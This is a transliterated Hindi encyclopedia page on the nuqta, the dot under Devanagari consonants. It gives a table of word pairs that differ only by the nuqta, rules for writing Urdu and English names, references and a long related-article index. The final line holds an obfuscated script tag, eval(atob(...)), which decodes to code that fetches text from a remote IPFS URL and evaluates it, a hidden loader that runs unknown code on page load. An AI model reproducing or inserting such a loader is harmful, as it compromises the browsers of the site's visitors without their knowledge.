नुक़्ता

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

nuqta devanagari lipi mean kisi vyanjan akshar ke niche lagae jane vale biandu ko kahate haian. isase us akshar ka uchcharan parivartit hokar kisi any vyanjan ka ho jata hai. jaise 'j' ke niche nukta lagane se 'z' ban jata hai.

nuqte ka mahattv

sirf nuqte ke karan alag alag arth vale kuchh shabd[1]
nuqta ke sath shabd arth bina nuqta ke shabd arth
qamar chandrama kamar pet aur pith ke niche sharir
qul fatiha, kam tamam hona kul vansh
qad dil, sharir ki lanbaee kad koshish, hath
qitab kurte adi ka gala, girebaan kitab pustak
qarar chain, dhiraj karar kagar
qaul pratijna kaur shakt, vamamargi
qalin galija kalin kal sanbandhi
qatara booand katara phaank
khasara hisab ka kachcha chittha, patavari ka kagaz khasara ek tarah ki bimari
khuda bhagavan khuda khuda hua
khar gadaha khar trin
khana daraj, jagah khana bhojan
khar kaanta, jalan khar kat karane vali chiz
galla anaj galla bhe doan, bakariyoan, gayoan ka jhuand
garaz prayojan garaj ooanchi avaz
gol jhuand gol vrittakar
gul shor gul phool
gaur dhyan gaur shubhr, gora
gaz nap (solah girah ya tin phit ka) gaur hathi
gash shoshan, jo man mean ho usake khilaf gaph suandar, hasin
guandah guanda, lophar guand dabij, daladar, gaf
raz rahasy, bhed raj shasan
zila janapad zila chamak - damak
zara tho da, kam jara vriddhavastha, budhapa
zamana samay, muddat jamana jamane ki kriya, ugana
zina sidhi jina ziandagi gujarana
zang moracha (lohe mean ugane vala) jang l daee
zangi habshi jangi yuddh sanbandhi
zirah kavy jirah zakhm
zari sone ka mulamma chadhean huee chaandi ke tar jari bahadur
zarab safed shahar, shvet madhu jarab khujali
zalal badal ki chhaya, chhayadar jalal pratap, raubadar
zalil tuchchh, nich jalil b da, bujurg
zar sthan, kisi chiz ki bahutayat jar p dosi
zari rona - pitana jari sanchalit, bahata hua
zinaan vyabhichar jinaan jannat ka bahuvachan, jannatean
zauq chakhane ki shakti, lutph jauq fauj, sena, bhi d
zan patni jan log
tez tivr, phurtila tej abha, dipti, kaanti
taq ala, takha tak takane ki kriya, aangoor ki bel
taz hamala, daud, mashooka taj rajamukut
darz darar, jhirri darj likhit
dafa door karana dapha bar, qanoon ki dhara
falak akash phalak tir ki gaansi
nuqta biandu nukta sookshm, bariq, aib
mazid atirikt, zyada, falatoo majid pavitr aur poojyaman
bebaq rrinamukt bebak nirlajj, behaya, muanhaphat, nidar
haz saubhagy, nasib, anand haj dharmik yatra, maqqa ki yatra
haq saty, adhikar, kartavy hak door karana, khurachana
hazm pacha hua hajm motaee, sthoolata
haiza dast aur kai ki bimari haija yuddh
hazir upasthit hajir hijarat karane vala, makka mean jakar nivas karane vala
chaq tarotaza, tanadurust chak chira hua, phata hua
urooz zahir hona urooj chadhana, unnati, choti
aqsar bahut chhota aksar pray:
azam bahut b da, mahanh ajam gooanga, mook, jo bol na sake
arz chau daee, zamin, nivedan arj samman, pratishtha, pad
aql buddhi akl khana, bhojan
azab vah purush jo stri n rakhata ho ajab vichitr
saza dand saja kalarav, tukaant vaky
siqqa vishvasapatr sikka thappa, dhala hua dhatu ka tuk da, hukoomat
vazahat byaurevar varnan karana, vistar vajahat khoobasoorati, rob, izzat
vaza rachana, sajadhaj, bachcha paida karana vaja pi da, dard, tis
muqarrar nishchit, iqarar kiya hua mukarrar phir se, doosari bar
muqaddar taqadir , bhagy mukaddar maila, du:khi
maqool uchit, buddhisammat makool khaya hua
mashq adhyas mashk pani bharane ki cham de ki khol
bag upavan bag bagador

nuqte ka prayog

nuqta sanskrit ya hindi ke mool shabdoan mean nahian lagata kyoanki sanskrit ya hindi mean vaisi dhvaniyaan haian hi nahian. kripaya isamean hindi ke " d" aur "dh" ko mat gin lijiega. ye donoan svatantr akshar haian aur inake niche lagane vali bindi ke bina inaka astitv sambhav nahian.

  • isalie pahala sootr yah hai ki sabase pahale yah nishchit karean ki shabd mool roop se hindi ka hai kya? agar uttar haan hai, to nuqta lagana hi nahian hai. apako kee jagah "saphal" ke "ph" ke niche nuqta laga hua dikh jaega jo sarasar galat hai. saphal ka matalab hai s+phal yani phal sahit.
  • dhyan dean ki keval unhian aangrezi shabdoan mean nuqta lagane ki sambhavana ho sakati hai, jinamean F, PH ya Z ate hoan. F aur PH ke lie ph ke niche aur Z ke lie j ke niche nuqta laga dijie. dhyan rakhean ki aangrezi mean "ph" ka uchcharan hai hi nahian, isalie vahaan jab bhi ayega "f" hi ayega. jin aangrezi shabdoan mean Z ho, vahaan "j" ke niche nuqta laga kar "z" likhean.
  • urdoo mean nuqta vale uchcharan sirf ye paanch haian- q, kh, g, z, aur f. isalie apako keval in paanchoan par dhyan kendrit karana hai aur kaॅpi mean in paanch aksharoan se bane urdoo shabdoan ko taulana hai ki yahaan nuqta lagega ya nahian.
  • islami deshoan ke jin namoan mean aangrezi ka Q akshar ata ho, vahaan Q ke sthan par nuqte vala "q" lagayean. jaise-
    • QAZI qazi
    • QAIDA qayada
    • QAISER qaisar
    • TARIQ tariq
    • SAQLAIN saqalain
    • QUTUB qutub
    • IRAQ iraq

lekin isake ekadh apavad bhi haian, jaise pakistan ka QUETTA shahar, jisaka uchcharan hai kveta aur isamean "k" ke niche nuqta nahian lagata.

  • doosara uchcharan hai "kh". aangrezi mean prayah is uchcharan ko KH se vyakt karate haian. jaise-
    • KHAN khan
    • AKHTAR akhtar
    • BAKHT bakht
    • KHUSHBU khushaboo
    • KHADIM khadim

KHAR isaka apavad hai. pakistani videsh mantri hina rabbani ka saranem hai khar, jise aangrezi mean KHAR hi likha jayega. lekin urdoo mean ek aur shabd hai khar, ise bhi aangrezi mean KHAR hi likheange. isi tarah, ek nam hai nikahat. aangrezi mean ise NIKHAT hi likheange, isalie ise "nikhat" ya "nikhat" n likhean.

  • tisara uchcharan hai "g" ka, jise aangrezi mean GH se vyakt karate haian. jaise-
    • GHULAM gulam
    • GHAZANFAR gazanafar
    • GHAUS gaus
    • GHALIB galib
    • GHAZALA gazala
    • GHAZAL gazal
    • SAGHIR/ SAGHEER sagir
    • ASGHAR asagar

dhyan rakhean ki GH ke lie "g" keval namoan ke lie hi likha jayega.

  • chautha uchcharan hai "z" ka, jisake lie aangrezi ke Z akshar ka prayog hota hai. jaise-
    • ZAIN zain
    • ZOHRA zohara
    • ZULFIQAR zulfiqar
    • HAZRAT hazarat
    • AZHAR azahar
    • MUZAFFAR muzaffar.
  • paanchavaan aur antim uchcharan hai "f" ka. dhyan rakhean ki urdoo namoan mean keval F hi "f" ka uchcharan deta hai. PH se urdoo mean "ph" ka uchcharan hi hoga aur nuqta nahian lagega. isalie
    • AFROZ afaroz
    • FIRDAUS firadaus
    • FASIH/FASEEH fasih
    • FAISAL faisal
    • FAIZAL faizal
    • TUFAIL tufail likha jayega.[2]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika-tippani aur sandarbh

  1. pustak- hiandi ki vartani | lekhak- sant samir | prishth sankhya- 168
  2. naqvi, qamar vahid. kahaan lagega nuqta? (hiandi) fॅsabuk d aaut k aaum. abhigaman tithi: 7 julaee, 2014.

bahari k diyaan

sanbandhit lekh

shabd sandarbh kosh
kashtakar aantararashtriy aantarrashtriy kalpasiddhi gatha upakhyan akhyan shatabdi suee nyagrodh mahapran vyanjan antahsth vyanjan oshthy vyanjan danty vyanjan moordhany vyanjan talavy vyanjan kanthy vyanjan avyay vats kumar kimpurush saty vah sanvarttak (hal) sthavar jara mohanastr aishik shastr rat sanatan anant adbhut varah dand vimukh kukur vrishadhvaj (bahuvikalpi) yayavar satr kulapati charu shoorp yoothanath dvarapal kalabattoo dhatta k davak klib bhriang patohoo attagattar attagam achal pravritti abohan aant-ayamh barabar kshetr hirany haraniparyant halli hallikar halik haiman shasy shrani svaviryopajivin sunu soona sthan sthan many sthal sthal vritti strot chaturth panchabhagikam gunapatr khettasamik balidan kripyagrih kumaragadiyanak kulyavap karmantik sima ekapurushikam utpadyamanavishti avat asihar ali aghat adhavay adanak skandhavar sity siddh seva setubandh senabhakt sarvamany sarv-abhyaantar-siddhi sannidhata sangrahat sankraant sankar kul sankar gram sadhy ayanaangal attapatibhag asvayankrit krishi ardhasitika akshayanivi akshapataladhyaksh akshapatal akrit akrisht akaradayin akarad agrahar agraharik adevamatrik adhyiy-manussanam niyog samaharta sali sakarukar sadbhag sachitt sabha-madhyam shulk shaulkik shasan roodhamarodhi ropan rajju rajakiy kshetr yogakshem yav mey masu moolavap mandapika mahatran bhootavatapratyay bhoomichchhidranyay bhoomask bhukti bhujyaman bhogayak bhogapati bhogagam bhog bhikshu hal bhikhkhuhalaparihar bhandagarik brahmadey bittuvatt bhadrabhog bhagadudh bhaikshak bijagan baraj phenaghat pustapal poorvavap pur pratikar pradesh pathak patit pindak pautavamh pattala parshv parru patak pallika pariharik parihar padonalaksh panyasanstha paribhog panchakul nyay karnik nivartan vyamishr-bhoomi brihi vivita vittolakar vishamatta vilop vatthupati vatak vaset-kutambik varta varshikashasy varatra varaj viparyast viparyay vapi vapatiriktamh vap gatya laangul roopajiva roopadarshak shastriy kala shastr astr shastr shastriy thana sootr svabhav savyasachi puny tithi jayanti sair rangashala tarani tarani jatak ghoshanapatr godhooli mahamaya vitan meharab sharkara gaz yatana shivir samanvayavad goshthi kachahari anamika (uangali) madhyama tarjani aangootha nuqta kootasth smart kandara khana khanabadosh koshn upabhog upabhokta utpadan utpadak akhetak naugamy avasthit aur upasthit abhijn aur anabhijn afavah aur kianvadanti adhikaansh aur adhikatar aantarrashtriy aur aantararashtriy anuvad adhyas sahodara sahodar dashalakshan dharm sanyam janashruti paras rajamahal sudarshan anushthan kathauti kathauta baragir baragi bijana juga d kharal nal kashkol sadaqa chhinnak arani ap: valay tarang avashesh sakhi abhang abir shrriang raka lokakatha akha da aangahin bavali khandahar safar sarika aantardhan daity vidhi yam (sanyam) nivesh nam puchhattar bakhar tattho-thanbho bela goru asarait muda alagyojha dvij ambu pravrajya eehit eehamrig eeha eehag eesari eesar eesan ees eeshm eeshu eeshika eesha eeshana eeshad eeshath‌sprisht eeshat eeshvaropasana eeshvariy eeshvari eeshvaradhin eeshvaravadi eeshvar-vad eeshvar-pranidhan eeshitv eeshita eesha eeshata eeli eeli eel eershyalu eershya eershyak eershy eershu eershit eershalu eersha eershana eerit eeran eeramad eerakha eer eemanadari eemanadar eeman-kalyan eeman eepsu eepsit eepsa eeda triganbhir trigandhak trigang trikhi trikha trikh trikshur trikshar trikon-miti trikon-bhavan trikon-phal tri-koorchak trikoota trikoot gadh trikuti trikuta trikut trikaladarshi trikaladarshita trikal-darshak trikalajnata trikalajn trikal trikarshik trikay trika trikaandiy eedrish eedi eetar eedh trikaand eedy trik-shool eedit trikal eedan eethi trikarma trikarman trikatray eethana trikatuk trikatu trikat eejad trikakum eeja trikakud eechha tri-kant jnanad jnanachakshu jnanagochar jnanagamy jnan krit jnatrivy jnati putr jnati jnata jnatavy jnat yauvana jnat-nandan jnat jnapti jnapit jnapan jnapt jnapan eechhan eekharaj trishaansh tri eekh eekshit trianshatpatr eeksha eekshika trishat eekshan trishah eekshanik eekshak eekaraant trahi iandr savarni iandr sabha iandr varuni iandr vadhoo iandr vansha iandr yav iandr mandal iandr nil indr dhvaj iandradhanushi iandr jau iandrajali iandr jav iandrachap iandr gop eekar iandr giri iandr krisht eedh iandrak eeanta iandriyavad eeancha-tani iandiralay iandira-raman iandira eeanchana iantaha iantazar eestar iantazam iantaqal eesh manohari iantaqam iantakohara eesh-gau d iantaee iangur eesh-giri iangudi eeth dravy kafan adrisht sadi granth kalaantar drishy tatavarti gantavy supachy paridrishy udagam talluq dar benami sauda apavah prayopavesh anushruti aang shabd sandarbh soochi alankaran bhuv kianvadanti madhu vaikunth (bahuvikalpi) agni jin (bahuvikalpi) asandi mithak atma bhakt pradarsh pradar astik toran kanik kanika eshana ela upahasit unmatt unmukh udrek udot aja upashaman upasham eeti apoh anooru anuyog anuyojy nepathy nrimedh nirdisht nivritt nivritti nirvap nirvat nishkantak viplav nishk viplavi viplav chinty ajiv ajivak parapatr nikshepak nikshep dhrishtata dhrisht dhav akhilesh vitarkan vitark latta vitat kurang kuanjar kalush dhatri vidya dhatriphal dhatri navami dhatri karni kapisha kanakhi karsh dript ark shamy sushravy dhriti sushrava ayut shishi dhrit sushthu sushrav apatr sanvrit ranjan ranjak yoothika yoop yuti yashti luanchan lasy sasy samarchan sahik sukrit lalam bianb banak bhasvar bhavy pranav achchhadit achchhadak achchhann janmaandh vivart vivarn hapana hap vachy vak lav rochana rochan rechan rechak ruchira ruchir mukari (paheli) audichy aurvashey shala aurv sharika shari shakun amlan phurahari charvi agah chakanachoor shanku shaman sharabh shardool chokha chitra okha okh aindr phunagi agamy vahika vahik kshataj kshat ksharan kshar ghalana ghal bilalana bandhak jhilamila jhilam kshitij yatharthavad ookha yatharth ookh oogat khanak khan kanak laghavi laghavik laghavakari laghav kshiprahast chhak havi havy kanishthika sugat janaant tush hriti hritadhikar drishti drishtarth drishtaant drishtavad pratyakshavad pratyagatma kshiprakari kshipr hrit pratyakshar hrichchhool kheh pratyaksh drishtavat moolabhoot drishtaphal vayavi vayaviy kanishtha vayav kanishth maulik drisht dosh drishtakoot moolik drisht vishti nidagh harmy achyut punit tattv mukari anand yantr pad aandhata sadhu yash sant diksha vidhu muramardan purushottam bhav pitambar har madhav chaturbhuj ugr upendr sthanu kratudhvansin bharg nilalohit trilochan viroopaksh vamadev (shiv) shitakinth (shiv) shitakinth garu dadhvaj girish govind suparn shrikanth kapardin pinaki mrityuanjay mrid girish nagantak bhootesh shankar sharv narayan maheshvar (shiv) vainatey shoolin pashupati tarkshy eesh muni vikat munindr vighnanashak sumukh lokajit garutmath marajit bhagavat tathagat dharmaraj sarvajn vinayak agadh ary arh alp ikshu ichchha asrav asy ahary akrand akarsh asooyak akshar oj prakarsh panth prakrit ekarth unnamr ujjrimbhan eeshan unnat ujjrimbh jayy jay nairujy jalp mand tej namaskar namrata namr prabhav arjav pratap akropolis aantashchetana aant:karan agora atinootan yug anagami anal anagradant ativriddhi adhihrishata (ailarji) anubandh anubhav anubhavavad anyathanupapatti anyathasiddhi apil abhiprerak albam arajakata amin ayam ianjil iantar liangua koshadhyaksh dainik masik


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>